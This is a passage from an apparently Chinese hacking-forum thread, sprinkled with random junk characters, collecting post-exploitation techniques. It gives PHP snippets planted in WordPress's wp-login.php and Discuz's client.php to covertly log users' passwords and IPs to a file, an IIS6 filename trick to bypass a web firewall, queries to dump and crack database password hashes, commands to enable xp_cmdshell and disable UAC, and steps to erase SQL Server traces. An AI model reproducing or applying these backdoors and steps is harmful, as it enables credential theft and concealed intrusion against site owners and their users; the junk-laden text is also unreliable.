# \% j1 l' u) Z7 }. F2 v3 J$txt=$txt.”\r\n”;( ]0 m) G. ~; ^& z8 Y( c5 P" D
if($log_user&&$log_pwd&&$log_ip){
6 a; m0 ^* z8 r9 w$ H9 O@fwrite(fopen(‘pwd.txt’,”a+”),$txt);4 e7 o/ F/ u' B8 ?5 [
}  S# s( p9 R0 A, O
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
  p% e7 m+ R, p7 D就是搜索case ‘login’( W# z1 ^; D" [: r8 d* n: u7 Y7 n
在它下面直接插入即可,记录的密码生成在pwd.txt中,$ H$ W4 C  b+ Z/ e/ J5 z$ L
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录. @' z" ]3 N& B( D1 K
利用II6文件解析漏洞绕过安全狗代码:
% X" |% l+ q, l0 h2 Y" ?;antian365.asp;antian365.jpg( ?  ^: p- o# |4 ^$ X
/ k* N: [+ X" E  y# K0 `+ m
各种类型数据库抓HASH破解最高权限密码!5 g0 C. v$ @% k1 t4 ?
1.sql server2000
% q) |4 {* m% |. VSELECT password from master.dbo.sysxlogins where name='sa'
! \+ K: D# n" D" L5 O+ i2 c& f. p0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
$ r$ a* ^" J! u9 U' w4 U2FD54D6119FFF04129A1D72E7C3194F7284A7F3A! T- q8 a  J6 I9 N- J) m
5 B+ _$ [( G! |/ z5 Z3 R
0×0100- constant header- ~" V  k- B' B+ P, v
34767D5C- salt# X$ ]( |0 F# u8 }0 J
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash! k* H' w- s- ~; f, n% j( Y  b% x
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
! I* r3 K, i  h; @4 K/ dcrack the upper case hash in ‘cain and abel’ and then work the case sentive hash
" k1 z) X$ [6 J0 kSQL server 2005:-& ^' v2 M- n: U
SELECT password_hash FROM sys.sql_logins where name='sa'
5 y& i/ o9 _( V0 U- c* Y$ g- G0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F$ D; Z$ S  x3 m5 ]
0×0100- constant header4 h* H, v7 i9 a" t
993BF231-salt" I" R! z1 T% N1 w2 @9 L
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash( k0 m2 J9 X/ A* a* w0 P
crack case sensitive hash in cain, try brute force and dictionary based attacks.
3 I, g3 P" m: U1 h, P/ M8 z" t! o( c7 G0 c
update:- following bernardo’s comments:-
; h) [0 `2 t4 [+ ^4 X3 cuse function fn_varbintohexstr() to cast password in a hex string.
* S2 d2 v+ ^+ I' ye.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
- A5 p8 P! f; b9 n5 Y2 X: p
  l1 N" Y& k7 u! S4 ?! f) _MYSQL:-* @0 }5 f! {$ y' ?4 G

1 k% h& Y5 S$ N: S; d7 oIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.4 e+ B8 u; I, S2 k$ S
2 v0 s7 O1 S5 @) N8 g& L
*mysql  < 4.1# M/ Y; i, N* d  Q

/ r) a8 W) H8 p# [9 \: V& Fmysql> SELECT PASSWORD(‘mypass’);2 c- Q) a. R8 @+ F$ ~* Y7 _( D
+——————–+% x' o3 \' Z4 ^$ X
| PASSWORD(‘mypass’) |
2 {' q# A/ x4 j  D' N+——————–+
; L; q5 V4 I! I: ?; v+ l" T  m| 6f8c114b58f2ce9e   |9 l4 t/ y7 y, J! `0 k
+——————–+
0 U$ R6 p, X5 {* v( Q7 ^! F- u9 ~% u, g+ M- @& Z% k/ L  K
*mysql >=4.19 g' D( Z  _! K" `& {

2 N8 Q: _3 D# X, s) [mysql> SELECT PASSWORD(‘mypass’);
! Q) c1 }* g3 n+ ?+——————————————-+
% y& p* t: w+ K. x. o: t- p- S0 T' n| PASSWORD(‘mypass’)                        |
: E9 B7 W; n9 m+——————————————-+) @( _1 `3 H; j8 q5 J5 {
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
' C6 [4 O  @5 r7 G% Q+——————————————-+( v4 \0 E% e: ^+ V
, @+ M3 ]2 J( N5 @* X( A; a
Select user, password from mysql.user/ R4 L# R5 t: H: j) B3 R8 M& `
The hashes can be cracked in ‘cain and abel’0 t9 `+ r8 n( N9 j. _4 q  |* g' W0 ]

  [3 O, Y5 I7 ~: sPostgres:-/ o6 F- [5 [; q- J0 y+ Q" W5 i
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)& ?: W& [- q0 n7 J& c
select usename, passwd from pg_shadow;
; B; o" [% e6 eusename      |  passwd
; K9 y" V( |- I9 ^! R——————+————————————-& \+ [: t; `- \& F8 D8 N3 z
testuser            | md5fabb6d7172aadfda4753bf0507ed4396
4 e% W; q, j3 q( A5 [use mdcrack to crack these hashes:-
- G: t- N! X% e. A$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396, H% Q+ A7 ?3 j, b
3 g' [) |5 n8 ~9 g8 L
Oracle:-8 g! E+ `+ o6 y3 {" g
select name, password, spare4 from sys.user$
+ \! m& _! C, a6 `  W9 lhashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g7 z& `9 `# [2 u$ j7 H: W
More on Oracle later, i am a bit bored….
# y" h/ I7 Q  J3 R* O: K) r7 F5 R) F6 H1 U( Q+ J7 o
) k) c6 e  q% c) k  y6 B% H
在sql server2005/2008中开启xp_cmdshell3 U8 m* V# D" s9 M7 m# ~
-- To allow advanced options to be changed.
  N! n: [+ Q6 O( V: D/ fEXEC sp_configure 'show advanced options', 10 ^5 g! l' s& O0 z8 v# B4 |+ ^. T
GO
- ^0 k1 H. T% V2 @5 @& i-- To update the currently configured value for advanced options.
" y; V; K6 N; Q  ?0 x& S5 N- B: uRECONFIGURE
4 y- p3 M1 t; W( EGO9 X+ x+ B: x8 X7 N2 [1 v8 i
-- To enable the feature.
; b: \( ?" h. S" Y9 PEXEC sp_configure 'xp_cmdshell', 18 D: ?% p0 Q. T4 M, z, P* t' }
GO
. [4 Y; O5 [! {4 {* G5 O-- To update the currently configured value for this feature.4 T5 t" f% H5 O7 W. g& d; |
RECONFIGURE( j9 H& P6 ~1 b: \) P0 |2 V
GO
. i( O7 S( G/ m% I4 c0 aSQL 2008 server日志清除,在清楚前一定要备份。4 g/ e! @% c. a
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
" O& M, Z5 X" qX:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
9 r! {$ Q+ M% A8 f5 C- [( K/ Y
. c& l' L3 L7 Y7 }对于SQL Server 2008以前的版本:7 G9 _* o: Q! g: f# F8 G
SQL Server 2005:& j, c1 R0 Q, f% D* ]( a
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
1 ^6 i9 S: z' t+ qSQL Server 2000:6 _. g- d  ?* |' h6 j
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft  SQL  Server\80\Tools\Client\PrefServers\相应的内容即可。  y( \3 u4 V$ ^% U8 s
) x+ ~# l- A$ z4 t+ N3 B7 i  _0 m# h
本帖最后由 simeon 于 2013-1-3 09:51 编辑) y; o% d' H, X
" W3 c4 Q9 V' x- {. J% c

- d1 E; O! @, K  M! Hwindows 2008 文件权限修改
. t" a! f: r1 l! f- Z- w7 t4 }1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx) c$ g3 Z0 @: \. H8 E
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
/ A9 E# }& F6 O$ h% q3 h一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
( @3 Y5 v$ e, @* F0 _6 [9 I2 y
  Y; P' o3 Q) i& z* K% ?Windows Registry Editor Version 5.00
' G3 C& M  l- n) a" D. l[HKEY_CLASSES_ROOT\*\shell\runas]. b7 D& t" ~( \% g+ w
@="管理员取得所有权"
" m; ]; A6 K- ~" F7 p" T"NoWorkingDirectory"=""
4 t# Z7 Y6 D4 h* y[HKEY_CLASSES_ROOT\*\shell\runas\command]
+ ]  A+ _1 V. t1 ?% g1 Q@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"# a# W' q) L5 y* H( E( b# W/ G
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"( \1 r0 g0 r( g# R0 E9 x) P
[HKEY_CLASSES_ROOT\exefile\shell\runas2]
/ `' o- M% T' q# d! r* }6 v@="管理员取得所有权"
, G: [' |3 [$ O. Z7 G"NoWorkingDirectory"=""3 w1 }' O2 x( a+ o, d+ o
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]& A, _; w8 P3 ~, t1 ~' E( S2 m3 y
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"9 }5 S, E( V9 l- v. P
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"4 I* N! s8 P5 ^9 B4 k8 I$ _) o

. h' f1 {; s8 ]1 e! S5 _& v& L[HKEY_CLASSES_ROOT\Directory\shell\runas]
  z0 i$ d8 ?5 s: D& E! }@="管理员取得所有权"
- v( \1 }2 _0 S! A- d"NoWorkingDirectory"=""8 D* e% n) @+ W! ?
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]; S/ [% S: G& a7 ?4 _
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"0 H$ ^: a6 B3 I# H& }
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
/ l' E  y: Y3 Z" u* b* Y! L
! ?$ K3 f' S, [# I2 ]
- E6 X2 Y0 }3 u: Q! U1 U0 dwin7右键“管理员取得所有权”.reg导入+ ?# \, f. S$ j( Y  W
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,- J% g4 e, T. E8 D
1、C:\Windows这个路径的“notepad.exe”不需要替换
$ L$ E  v! f$ q+ P) u: z2、C:\Windows\System32这个路径的“notepad.exe”不需要替换1 t9 z) U1 @6 f6 j0 W7 M
3、四个“notepad.exe.mui”不要管& x$ t- y: g1 `# H+ @% J
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和
' F/ f1 m# ~6 h: k2 n1 jC:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”- d. p1 M: h/ f, V1 ?
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,# Z! |. b7 m# v3 a: U5 d/ j+ R
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。8 _4 W/ @9 k, [5 q3 u- N
windows 2008中关闭安全策略: , O" v- Z0 p9 t0 z: }) `5 ?! a" h# X
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
, x, k3 W# I4 D9 f- X6 |修改uc_client目录下的client.php 在5 p0 |. \) B$ Y
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
' t6 D1 X" k7 q6 L下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
( B% o4 C: F% J3 o7 F# u0 j; b' {你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw, @5 Z9 O; F4 g1 C
if(getenv('HTTP_CLIENT_IP')) {
; k, ~* d' L5 w6 v) ?6 T1 \$onlineip = getenv('HTTP_CLIENT_IP');
4 e4 y6 p7 F6 i% s} elseif(getenv('HTTP_X_FORWARDED_FOR')) {/ F& @; F# _7 Q3 w! c! B* C! {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
7 [7 `6 d0 i8 A} elseif(getenv('REMOTE_ADDR')) {. H- D1 e& [( K' f  a4 W
$onlineip = getenv('REMOTE_ADDR');
+ n, g8 X2 C6 i+ e} else {/ X) `6 C3 h: {- q( @- I$ N
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
* |# i% t5 d) b& r}
9 x) W2 x! d! O: a% A+ p     $showtime=date("Y-m-d H:i:s");
5 n; d7 G9 M  d7 b    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";: b1 c3 x9 k  A# c% e
    $handle=fopen('./data/cache/csslog.php','a+');" u4 g  t3 Z9 C. j
    $write=fwrite($handle,$record);
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表